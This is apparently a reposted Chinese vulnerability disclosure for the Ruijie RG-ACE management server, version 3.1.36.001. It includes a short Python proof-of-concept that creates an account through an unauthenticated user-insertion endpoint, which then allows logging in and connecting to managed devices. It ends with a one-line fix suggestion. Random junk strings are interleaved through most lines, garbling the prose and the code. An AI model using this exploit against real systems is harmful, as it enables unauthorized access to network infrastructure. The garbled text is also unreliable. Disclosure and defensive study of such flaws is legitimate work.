锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
$ k) ?1 w0 D1 h, D R- F9 u9 Y2 Y+ _4 G) `! J) z
+ C: ^/ q0 {$ O# c8 S0 J+ ?& S测试的具体版本是
& X* m, A. A7 Z产品名称: 锐捷应用控制引擎5 B8 v' f* z3 [& c2 o2 j6 |$ C; H! D* h
版本号: 3.1.36.001 TC
. ?0 W+ M4 F1 A5 L) j7 y编译时间: 2011042917301 X3 m& |4 |: t( _2 f% Y& Q
3 h. h) w( L+ c2 J9 f# u r2 c- m0 `6 ], A" A6 k1 p' S/ @$ s0 s
漏洞证明:
6 p& S1 \( |& b, ?" W% ? $ J$ v L2 i7 ~- m
0 H$ Z- X" R5 I$ n8 I/ [; B t! E7 U6 p1 a, `* z2 {
" o5 q& r( D/ G4 G3 X3 h
% u0 a" ^# I$ Y3 h; j$ @# r, H7 e! K R, |# _& h
执行脚本
6 Y( V/ J: O& @#! /usr/bin/env python
, ? c. j1 ]5 w6 P" U) n! }. a#coding=gbk8 u- Z, c" c+ `
#RG-ACE管理服务器 V3.1.36.001
# _' E. W! b( d5 a( L1 Aimport urllib2, urllib,cookielib
, B( Q: C! ~1 v2 kurl=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP. O" R" U, q0 o& U" v+ x. @5 i: q
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))0 x* _* U7 Z- E5 J; Y
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
# p* h( `, R, I7 I# Jpost=(("event","userManager.doInsertUserInfo"),& `7 S z. L6 ]" c6 X+ l, b7 ?% V
("useractionname","addButtonValue"),7 h. ]% m! i3 ~1 l" h8 S
("useropermanager","userManager"),
0 w! J6 q' V! U' P+ H("userName","t"), #######账号自己加- s1 H$ i6 {8 r- b, Z" [
("pwd","aaaaaa"),######密码自己加
/ P8 t* e q5 b% o" g8 q("trueName","ad"),
: D" B F c1 z& t" O4 I" p("email",""),
; K* ?/ w, T' P; j/ @7 O/ `("mobilePhone",""), t+ N% D! g" Q- u6 I
("officePhone",""),
# W3 I4 h+ o2 K& u5 L("addr",""),% T- M7 H9 N8 }1 d8 S& V- {
("submit","确定"))9 b; r% f- l+ ~' ]
urllib2.install_opener(opener)
" S0 h. Z( D) |; l8 h8 `p=urllib2.urlopen(url, urllib.urlencode(post)).read()
9 ?3 G& d) Z2 e0 Q* zprint "Done") a: a& e9 y. h8 V5 r
9 S1 n+ ^* l9 a& ?8 T, P, i) ~登录,连接设备 V, s( _; j* u5 a+ u8 e2 h
8 r* D# [, o& L. l
, j% m7 p# ~/ Q2 L" d% l2 F+ a0 ?; k% E7 i
& y# [6 t/ ?$ o3 P( q
/ y; I D0 R5 m1 R: s, J默认的管理员admin权限更大点
+ j& E) U. d) ]6 Z/ V- j5 r; D+ d8 _( \: C) e
2 K/ y: U7 r5 \* ]7 ^- l
9 y* e4 N1 p b8 [ D
% }% s6 |) \1 x4 y' x. }+ U# ~ j2 T4 }" C U) x
修复方案:1 t6 x" q; S8 @& [# z
加强对接口的权限验证- J, s8 m3 x- x3 V/ {$ h7 U: T5 f: e
7 g# h) i5 ]2 w7 S% \ |